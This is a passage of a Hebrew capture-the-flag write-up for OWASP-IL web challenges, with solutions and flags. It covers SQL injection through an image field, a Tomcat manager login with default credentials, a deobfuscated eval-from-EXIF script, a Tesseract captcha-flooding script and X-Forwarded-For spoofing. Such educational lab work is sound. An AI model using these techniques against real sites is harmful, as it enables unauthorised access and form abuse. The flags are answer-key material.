unicode-bidi:embed'><span lang=en-IL dir=LTR><img border=0 width=255 height=57
id="Picture 4" src="images/image004.png"></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>מפה הדרך אל הדגל
קצרה:</span></p>
<p class=MsoNormal align=center dir=RTL style='text-align:center;direction:rtl;
unicode-bidi:embed'><span lang=en-IL dir=LTR><img border=0 width=362
height=277 id="Picture 5" src="images/image005.jpg"></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>הדגל: </span><b><span
lang=EN-US dir=LTR>OWASP-IL{D3bug_p1ns_ar3_important}</span></b></p>
<b><span lang=EN-US style='font-size:13.0pt;line-height:107%;font-family:"Calibri Light",sans-serif;
color:#2F5496'><br clear=all style='page-break-before:always'>
</span></b>
<h2 dir=RTL style='text-align:right;direction:rtl;unicode-bidi:embed'><span
lang=HE style='font-family:"Times New Roman",serif'>אתגר 2 - </span><span
lang=EN-US dir=LTR>OWASP University</span><span dir=RTL></span><span lang=HE
style='font-family:"Times New Roman",serif'><span dir=RTL></span> (רמת קושי
קלה, 250 נקודות)</span></h2>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>הוראות האתגר:</span></p>
<p><span lang=en-IL>We got anonymous tip about a terrorist in OWASP University,<br>
We're afraid she will try to attack in few days.<br>
Please help us catch her!<br>
We have her old student card and we know you will have the information you need
there, the problem is that she somehow changed her security code...<br>
<strong>Image size must be: 1597 x 1033</strong></span></p>
<p><span lang=en-IL>URL: <span class=MsoHyperlink><b><a
href="http://challenges.owaspil.ctf.today:8099/">http://challenges.owaspil.ctf.today:8099/</a></b></span></span></p>
<p class=MsoNormal align=center dir=RTL style='text-align:center;direction:
rtl;unicode-bidi:embed'><span lang=en-IL dir=LTR><img border=0 width=271
height=175 id="Picture 6" src="images/image006.jpg"></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>פתרון:</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>כניסה לאתר מובילה אל
הדף הבא:</span></p>
<p class=MsoNormal align=center dir=RTL style='text-align:center;direction:
rtl;unicode-bidi:embed'><span lang=en-IL dir=LTR><img border=0 width=421
height=292 id="Picture 11" src="images/image007.png"></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>לחיצה על </span><span
lang=EN-US dir=LTR>Enter</span><span dir=RTL></span><span lang=HE
style='font-family:"Arial",sans-serif'><span dir=RTL></span> מקפיצה חלון של
העלאת קובץ. אם מנסים להעלות את כרטיס הסטודנט, מקבלים את ההודעה הבאה:</span></p>
<p class=MsoNormal align=center dir=RTL style='text-align:center;direction:
rtl;unicode-bidi:embed'><span lang=en-IL dir=LTR><img border=0 width=261
height=58 id="Picture 12" src="images/image008.jpg"></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>האתגר טען ש"כל
המידע שאנחנו צריכים נמצא בכרטיס", לכן הדבר הראשון שעשיתי היה לנסות לנתח את
התמונה כדי למצוא מידע נסתר.</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>ראשית השתמשתי ב-</span><span
lang=EN-US dir=LTR>exiftool</span><span dir=RTL></span><span lang=HE
style='font-family:"Arial",sans-serif'><span dir=RTL></span> כדי לסרוק את ה-</span><span
lang=EN-US dir=LTR>metadata</span><span dir=RTL></span><span lang=HE
style='font-family:"Arial",sans-serif'><span dir=RTL></span> של התמונה. במקרים
רבים אפשר למצוא שם רמזים חשובים. הפעם, הדבר היחיד שבלט לעין היה ה-</span><span
lang=EN-US dir=LTR>Thumbnail</span><span dir=RTL></span><span lang=HE
style='font-family:"Arial",sans-serif'><span dir=RTL></span>:</span></p>
<p class=MsoNormal dir=RTL align=center style='text-align:center;direction:rtl;unicode-bidi:
embed'><span lang=en-IL dir=LTR><img border=0 width=602 height=58 id="Picture 7"
src="images/image009.jpg"></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>פורמט </span><span
lang=EN-US dir=LTR>JPEG</span><span dir=RTL></span><span lang=HE
style='font-family:"Arial",sans-serif'><span dir=RTL></span> כולל אפשרות לכלול </span><span
lang=EN-US dir=LTR>Thumbnail</span><span dir=RTL></span><span lang=HE
style='font-family:"Arial",sans-serif'><span dir=RTL></span> (גרסה זעירה של
התמונה עצמה) בתוך ה-</span><span lang=EN-US dir=LTR>header</span><span dir=RTL></span><span
lang=HE style='font-family:"Arial",sans-serif'><span dir=RTL></span> של התמונה
הגדולה, מה שאמור לסייע בניהול מספר רב של תמונות (למשל, תוכנה להצגת תמונות יכולה
להציג את ה-</span><span lang=EN-US dir=LTR>thumbnail</span><span dir=RTL></span><span
lang=HE style='font-family:"Arial",sans-serif'><span dir=RTL></span> כאשר צופים
בכל התמונות יחדיו, במקום לבצע פעולה יקרה של הקטנת כל תמונה ותמונה לגודל הרצוי
עבור תצוגה זו). בתיאוריה, התמונה הקטנה לא חייבת להיות דומה לתמונה הגדולה, מדובר
במידע בינארי עצמאי שכמובן אפשר לקבוע שרירותית בעזרת הכלים המתאימים. כלומר, אם
התוקפת שינתה את התמונה הגדולה אבל שכחה לשנות את ה-</span><span lang=EN-US
dir=LTR>thumbnail</span><span dir=RTL></span><span lang=HE style='font-family:
"Arial",sans-serif'><span dir=RTL></span>, אולי ניתן יהיה לזהות את הקוד המקורי
שלה לפני השינוי.</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>בפועל, הכיוון הזה
לא הצליח כי הגרסה המוקטנת הייתה דומה לגרסה המקורית.</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>משם, עברתי לחפש קבצים
נסתרים בתוך התמונה (ניתן למשל לכלול קובץ ארכיון מיד אחרי המידע הבינארי של
התמונה עצמה), אך גם שם לא מצאתי משהו מיוחד:</span></p>
<p class=MsoNormal dir=RTL align=center style='text-align:center;direction:rtl;unicode-bidi:
embed'><span lang=en-IL dir=LTR><img border=0 width=593 height=100
id="Picture 8" src="images/image010.jpg"></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>זה השלב שבו נזכרתי
באגדה על מישהו שביצע </span><span class=MsoHyperlink><span lang=EN-US><a
href="https://hackaday.com/2014/04/04/sql-injection-fools-speed-traps-and-clears-your-record/"><span
dir=LTR>SQL Injection</span><span dir=RTL></span><span lang=HE
style='font-family:"Arial",sans-serif'><span dir=RTL></span> כנגד מצלמת מהירות</span></a></span></span><span
lang=HE style='font-family:"Arial",sans-serif'>:</span></p>
<p class=MsoNormal align=center dir=RTL style='text-align:center;direction:
rtl;unicode-bidi:embed'><span lang=en-IL dir=LTR><img border=0 width=480
height=360 id="Picture 10" src="images/image011.jpg"
alt="https://hackadaycom.files.wordpress.com/2014/04/18mpenleoksq8jpg.jpg?w=636"></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'> בניסיון הראשון
ניסיתי לערוך את שדה ה-</span><span lang=EN-US dir=LTR>Security code</span><span
dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'><span
dir=RTL></span>, אך זה לא עבד. השלב ההגיוני הבא היה לערוך את שם המשתמש:</span></p>
<p class=MsoNormal align=center dir=RTL style='text-align:center;direction:
rtl;unicode-bidi:embed'><span lang=en-IL dir=LTR><img border=0 width=511
height=331 id="Picture 13" src="images/image012.jpg"></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>התוצאה:</span></p>
<p class=MsoNormal align=center dir=RTL style='text-align:center;direction:
rtl;unicode-bidi:embed'><span lang=en-IL dir=LTR><img border=0 width=347
height=239 id="Picture 14" src="images/image013.jpg"></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>רפרנס ל</span><span
class=MsoHyperlink><span lang=EN-US><a href="https://xkcd.com/327/"><span
lang=HE style='font-family:"Arial",sans-serif'>קומיקס המיתולוגי של </span><span
dir=LTR>xkcd</span></a></span></span><span dir=RTL></span><span lang=HE
style='font-family:"Arial",sans-serif'><span dir=RTL></span>:</span></p>
<p class=MsoNormal dir=RTL align=center style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=en-IL dir=LTR><img border=0 width=602 height=185
id="Picture 15" src="images/image014.jpg" alt="Exploits of a Mom"></span></p>
<span lang=HE dir=RTL style='font-size:11.0pt;line-height:107%;font-family:
"Arial",sans-serif'><br clear=all style='page-break-before:always'>
</span>
<p class=MsoNormal><span lang=HE dir=RTL style='font-family:"Arial",sans-serif'> </span></p>
<h2 dir=RTL style='text-align:right;direction:rtl;unicode-bidi:embed'><span
lang=HE style='font-family:"Times New Roman",serif'>אתגר 3 - </span><span
lang=EN-US dir=LTR>No pain no gain</span><span dir=RTL></span><span lang=HE
style='font-family:"Times New Roman",serif'><span dir=RTL></span> (רמת קושי
קלה, 250 נקודות)</span></h2>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>הוראות האתגר:</span></p>
<p><span class=MsoHyperlink><span lang=en-IL><a
href="https://www.youtube.com/watch?v=1Wh8RzcQZr4">https://www.youtube.com/watch?v=1Wh8RzcQZr4</a></span></span></p>
<p><span lang=en-IL>URL: <span class=MsoHyperlink><b><a
href="http://challenges.owaspil.ctf.today:8092/">http://challenges.owaspil.ctf.today:8092/</a></b></span></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>פתרון:</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>ההוראות מפנות
לסרטון שנקרא "</span><span lang=en-IL dir=LTR>Hilarious Cat Fails</span><span
dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'><span
dir=RTL></span>".</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>האתר עצמו הוא אתר
תדמיתי לחברת שקר כלשהי, כאשר הקלט היחיד הבולט לעין הוא מקום להכניס כתובת
אימייל:</span></p>
<p class=MsoNormal dir=RTL align=center style='text-align:center;direction:rtl;unicode-bidi:
embed'><span lang=en-IL dir=LTR><img border=0 width=601 height=159
id="Picture 16" src="images/image015.jpg"></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>אולם, הכיוון הזה לא
מוביל לשום מקום.</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>הצעד הבא היה לנסות
לסייר קצת באתר, למשל – לנסות להיכנס לכתובת שלא קיימת:</span></p>
<p class=MsoNormal dir=RTL align=center style='text-align:center;direction:rtl;unicode-bidi:
embed'><span lang=en-IL dir=LTR><img border=0 width=602 height=152
id="Picture 17" src="images/image016.jpg"></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>ה-</span><span
lang=EN-US dir=LTR>Apache Tomcat</span><span dir=RTL></span><span lang=HE
style='font-family:"Arial",sans-serif'><span dir=RTL></span> הזכיר לי את ה-</span><span
dir=LTR></span><span lang=en-IL dir=LTR><span dir=LTR></span> Cat Fails</span><span
lang=HE style='font-family:"Arial",sans-serif'>מהסרטון. איסוף מידע בגוגל אודות </span><span
lang=EN-US dir=LTR>Tomcat</span><span dir=RTL></span><span lang=HE
style='font-family:"Arial",sans-serif'><span dir=RTL></span> גילה שקיים ממשק
ניהול בכתובת </span><span dir=LTR></span><span lang=EN-US dir=LTR><span
dir=LTR></span>/manager</span><span dir=RTL></span><span lang=HE
style='font-family:"Arial",sans-serif'><span dir=RTL></span> (במקרה שלנו: </span><span
class=MsoHyperlink><span lang=EN-US><a
href="http://challenges.owaspil.ctf.today:8092/manager/"><span dir=LTR>http://challenges.owaspil.ctf.today:8092/manager</span><span
dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'><span
dir=RTL></span>/</span></a></span></span><span lang=HE style='font-family:"Arial",sans-serif'>)
וכאשר ניסיתי להיכנס אליו, קיבלתי את המסך הבא:</span></p>
<p class=MsoNormal align=center dir=RTL style='text-align:center;direction:
rtl;unicode-bidi:embed'><span lang=en-IL dir=LTR><img border=0 width=392
height=115 id="Picture 18" src="images/image017.jpg"></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>עוד קפיצה לגוגל
מגלה שברירת המחדל היא </span><span lang=EN-US dir=LTR>tomcat:tomcat</span><span
dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'><span
dir=RTL></span>, ואנחנו בתוך ממשק הניהול:</span></p>
<p class=MsoNormal align=center dir=RTL style='text-align:center;direction:
rtl;unicode-bidi:embed'><span lang=en-IL dir=LTR><img border=0 width=599
height=266 id="Picture 19" src="images/image018.jpg"></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>שימו לב לקישור הבא:</span></p>
<p class=MsoNormal align=center dir=RTL style='text-align:center;direction:
rtl;unicode-bidi:embed'><span lang=en-IL dir=LTR><img border=0 width=453
height=161 id="Picture 20" src="images/image019.png"></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>לחיצה על הקישור
מובילה אל הדגל:</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><b><span lang=en-IL dir=LTR>OWASP-IL{D0ntF0rg3tT0Ch4ng3D3f4ulTP455w0rds!}</span></b></p>
<b><span lang=en-IL style='font-size:11.0pt;line-height:107%;font-family:"Calibri",sans-serif'><br
clear=all style='page-break-before:always'>
</span></b>
<p class=MsoNormal><b><span lang=en-IL> </span></b></p>
<h2 dir=RTL style='text-align:right;direction:rtl;unicode-bidi:embed'><span
lang=HE style='font-family:"Times New Roman",serif'>אתגר 4 - </span><span
lang=EN-US dir=LTR>Curriculum Vitea</span><span dir=RTL></span><span lang=HE
style='font-family:"Times New Roman",serif'><span dir=RTL></span> (רמת קושי
קלה, 250 נקודות)</span></h2>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>הוראות האתגר:</span></p>
<p><span lang=en-IL>I got client-side attack while i go to my CV landing page!</span></p>
<p><span lang=en-IL>Can you catch the flag?</span></p>
<p><span lang=en-IL>URL: <span class=MsoHyperlink><b><a
href="http://challenges.owaspil.ctf.today:8091/">http://challenges.owaspil.ctf.today:8091/</a></b></span></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>פתרון:</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>לחיצה על הקישור
מובילה לאתר תדמיתי:</span></p>
<p class=MsoNormal align=center dir=RTL style='text-align:center;direction:
rtl;unicode-bidi:embed'><span lang=en-IL dir=LTR><img border=0 width=602
height=214 id="Picture 21" src="images/image020.jpg"></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>בדיקה של קוד המקור
של האתר מגלה את הקוד החשוד הבא:</span></p>
```html
<script src="./exif-js/exif.js"></script>
<script>
eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('7(0(){9},c);"e 4";5.6=1;0 1(){8 a=b.3("d");2.f(a,0(){g(h(2.i(j,"k").l("").m().n("")))})}',24,24,'function|getExif|EXIF|getElementById|strict|window|onload|setInterval|var|debugger||document|100|profileImage|use|getData|eval|atob|getTag|this|Model|split|reverse|join'.split('|'),0,{}))
</script>
```
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>את הקוד אפשר לפענח
בעזרת ה-</span><span class=MsoHyperlink><span lang=EN-US><a
href="http://matthewfl.com/unPacker.html"><span dir=LTR>Unpacker</span><span
dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'><span
dir=RTL></span> הזה</span></a></span></span><span lang=HE style='font-family:
"Arial",sans-serif'>, למשל:</span></p>
```javascript
setInterval(function(){debugger},100);
"use strict";
window.onload=getExif;
function getExif(){
var a=document.getElementById("profileImage");
EXIF.getData(a,function(){ eval(atob(EXIF.getTag(this,"Model")
.split("").reverse().join("")))})
}
```
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>כלומר, הפונקציה
מריצה קוד שמופיע ב-</span><span lang=EN-US dir=LTR>metadata</span><span
dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'><span
dir=RTL></span> של תמונת הפרופיל של בעל האתר.</span></p>
<p class=MsoNormal dir=RTL align=center style='text-align:center;direction:rtl;unicode-bidi:
embed'><span lang=en-IL dir=LTR><img border=0 width=602 height=263
id="Picture 22" src="images/image021.jpg"></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>נראה שמדובר ב-</span><span
lang=EN-US dir=LTR>base64</span><span dir=RTL></span><span lang=HE
style='font-family:"Arial",sans-serif'><span dir=RTL></span> (הפוך), לאחר היפוך
התהליך מקבלים:</span></p>
<p class=MsoNormal dir=RTL align=center style='text-align:center;direction:rtl;unicode-bidi:
embed'><span lang=en-IL dir=LTR><img border=0 width=602 height=239
id="Picture 23" src="images/image022.jpg"></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>(באותה מידה אפשר
לבצע את התהליך באמצעות ה-</span><span lang=EN-US dir=LTR>Web Developer Console</span><span
dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'><span
dir=RTL></span> של הדפדפן, או פשוט סקריפט בדף </span><span lang=EN-US dir=LTR>HTML</span><span
dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'><span
dir=RTL></span>).</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>שוב נשתמש ב-</span><span
lang=EN-US dir=LTR>Unpacker</span><span dir=RTL></span><span lang=HE
style='font-family:"Arial",sans-serif'><span dir=RTL></span> ונקבל:</span></p>
```javascript
function verify(a)
{
if(a.charCodeAt(0x0)=="79"&&a.charCodeAt(0x1)=="87"&&a.charCodeAt(0x2)=="65"&&a.charCodeAt(0x3)=="83"&&a.charCodeAt(0x4)=="80"&&a.charCodeAt(0x5)=="45"&&a.charCodeAt(0x6)=="73"&&a.charCodeAt(0x7)=="76"&&a.charCodeAt(0x8)=="123"&&a.charCodeAt(0x9)=="74"&&a.charCodeAt(0xa)=="52"&&a.charCodeAt(0xb)=="118"&&a.charCodeAt(0xc)=="52"&&a.charCodeAt(0xd)=="83"&&a.charCodeAt(0xe)=="99"&&a.charCodeAt(0xf)=="114"&&a.charCodeAt(0x10)=="49"&&a.charCodeAt(0x11)=="112"&&a.charCodeAt(0x12)=="116"&&a.charCodeAt(0x13)=="78"&&a.charCodeAt(0x14)=="105"&&a.charCodeAt(0x15)=="110"&&a.charCodeAt(0x16)=="106"&&a.charCodeAt(0x17)=="52"&&a.charCodeAt(0x18)=="33"&&a.charCodeAt(0x19)=="125")
{
console.log("Contratz! You got the flag!\nFlag: "+a)
}
else
{
console.log("You are so wrong.. :)")
}
}
```
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>הלוגיקה פה מספיק
קצרה וברורה בשביל שיהיה קל לייצר קוד ידני שמגלה מהו הדגל, למשל:</span></p>
```javascript
a = Array();
a[0x0]="79"; a[0x1]="87"; a[0x2]="65"; a[0x3]="83"; a[0x4]="80"; a[0x5]="45";
a[0x6]="73"; a[0x7]="76"; a[0x8]="123"; a[0x9]="74"; a[0xa]="52"; a[0xb]="118";
a[0xc]="52"; a[0xd]="83"; a[0xe]="99"; a[0xf]="114"; a[0x10]="49"; a[0x11]="112";
a[0x12]="116"; a[0x13]="78"; a[0x14]="105"; a[0x15]="110"; a[0x16]="106";
a[0x17]="52"; a[0x18]="33"; a[0x19]="125";
s = "";
for (var i in a) {
s += String.fromCharCode(a[i]);
}
console.log(s);
```
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>הדגל הוא:</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span class=objectbox><b><span lang=en-IL dir=LTR>OWASP-IL{J4v4Scr1ptNinj4!}</span></b></span></p>
<span class=objectbox><b><span lang=en-IL style='font-size:11.0pt;line-height:
107%;font-family:"Calibri",sans-serif'><br clear=all style='page-break-before:
always'>
</span></b></span>
<p class=MsoNormal><span class=objectbox><b><span lang=en-IL> </span></b></span></p>
<h2 dir=RTL style='text-align:right;direction:rtl;unicode-bidi:embed'><span
lang=HE style='font-family:"Times New Roman",serif'>אתגר 5 - </span><span
lang=EN-US dir=LTR>Break The Captcha</span><span dir=RTL></span><span lang=HE
style='font-family:"Times New Roman",serif'><span dir=RTL></span> (רמת קושי
קלה, 250 נקודות)</span></h2>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>הוראות האתגר:</span></p>
<p><span lang=en-IL>My website is protected with Captcha so you cant flood my
forms!<br>
Do you think that you can bypass it with code and flood my form?</span></p>
<p><span lang=en-IL>URL: <span class=MsoHyperlink><b><a
href="http://challenges.owaspil.ctf.today:8088/">http://challenges.owaspil.ctf.today:8088/</a></b></span></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>פתרון:</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>האתר עצמו נראה כך:</span></p>
<p class=MsoNormal align=center dir=RTL style='text-align:center;direction:
rtl;unicode-bidi:embed'><span lang=en-IL dir=LTR><img border=0 width=550
height=207 id="Picture 24" src="images/image023.png"></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>עבור הפתרון השתמשתי
ב-</span><span dir=LTR></span><span lang=HE dir=LTR><span dir=LTR></span> </span><span
lang=en-IL dir=LTR>Tesseract</span><span dir=RTL></span><span lang=en-IL
style='font-family:"Arial",sans-serif'><span dir=RTL></span> </span><span
lang=HE style='font-family:"Arial",sans-serif'>– ספריה לביצוע </span><span
lang=en-IL dir=LTR>OCR</span><span dir=RTL></span><span lang=HE
style='font-family:"Arial",sans-serif'><span dir=RTL></span>. </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>ה-</span><span
lang=EN-US dir=LTR>captcha</span><span dir=RTL></span><span lang=HE
style='font-family:"Arial",sans-serif'><span dir=RTL></span> שהאתר השתמש בו היה
פשוט ביותר, ללא רעש או הפרעות בתמונה, וספריית </span><span lang=EN-US dir=LTR>Tesseract</span><span
dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'><span
dir=RTL></span> התמודדה איתו בצורה טובה יחסית. מדי פעם הספרייה הייתה מפספסת,
אבל אפשר היה להמשיך לנסות את התמונה הבאה (הדרישה הייתה לפענח 15 תמונות בחצי
דקה, אך לא הייתה דרישה לרצף פענוחים כלשהו).</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>הקוד:</span></p>
```python
from PIL import Image
import pytesseract
import requests
CAPTCHA_BASE_URL = 'http://challenges.owaspil.ctf.today:8088'
with requests.Session() as s:
for i in range(45):
print ("-" * 15)
print (i)
url = CAPTCHA_BASE_URL + '/captcha.php'
response = s.get(url, stream=True)
guess = pytesseract.image_to_string(Image.open(response.raw))
print (guess)
payload = {'captcha': guess, "submit": ""}
response = s.post(CAPTCHA_BASE_URL, data=payload)
if "flag" in response.text:
print (response.text)
break
```
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>הדגל:</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><b><span lang=EN-US dir=LTR>OWASP-IL{YouAreTheCaptchaMaster!}</span></b><span
dir=RTL></span><b><span lang=EN-US style='font-family:"Arial",sans-serif'><span
dir=RTL></span> </span></b></p>
<b><span lang=HE dir=RTL style='font-size:11.0pt;line-height:107%;font-family:
"Arial",sans-serif'><br clear=all style='page-break-before:always'>
</span></b>
<p class=MsoNormal><b><span lang=HE dir=RTL style='font-family:"Arial",sans-serif'> </span></b></p>
<h2 dir=RTL style='text-align:right;direction:rtl;unicode-bidi:embed'><span
lang=HE style='font-family:"Times New Roman",serif'>אתגר 6 - </span><span
lang=EN-US dir=LTR>Around the world</span><span dir=RTL></span><span lang=HE
style='font-family:"Times New Roman",serif'><span dir=RTL></span> (רמת קושי
קלה, 300 נקודות)</span></h2>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>הוראות האתגר:</span></p>
<p><span lang=en-IL>Hi you! Do you think that you traveled the world? Your
mission is to enter to our site with IP that belongs to country that we request
you</span></p>
<p><span lang=en-IL>Can you do that? (XFF is approved)</span></p>
<p><span lang=en-IL>URL: <span class=MsoHyperlink><b><a
href="http://challenges.owaspil.ctf.today:8094/">http://challenges.owaspil.ctf.today:8094/</a></b></span></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>פתרון:</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>כניסה לאתר מציגה את
ההודעה הבאה:</span></p>
<p class=MsoNormal><span lang=en-IL>In order to get the flag you must to serve
from Argentina (You served from Israel)| Counter: 0\16</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>האתגר אומר בפירוש
ש-</span><span lang=EN-US dir=LTR>XFF</span><span dir=RTL></span><span lang=HE
style='font-family:"Arial",sans-serif'><span dir=RTL></span> מותר, לכן כמובן
נשתמש ב-</span><span lang=EN-US dir=LTR>X-Forwarded-For</span><span dir=RTL></span><span
lang=HE style='font-family:"Arial",sans-serif'><span dir=RTL></span> (זהו שדה
בכותרת של </span><span lang=EN-US dir=LTR>HTTP</span><span dir=RTL></span><span
lang=HE style='font-family:"Arial",sans-serif'><span dir=RTL></span> שמשמש
לזיהוי כתובת ה-</span><span lang=EN-US dir=LTR>IP</span><span dir=RTL></span><span
lang=HE style='font-family:"Arial",sans-serif'><span dir=RTL></span> המקורית של
הלקוח במידה והוא משתמש בפרוקסי. כמובן שאין מניעה להשתמש בשדה הזה גם אם לא
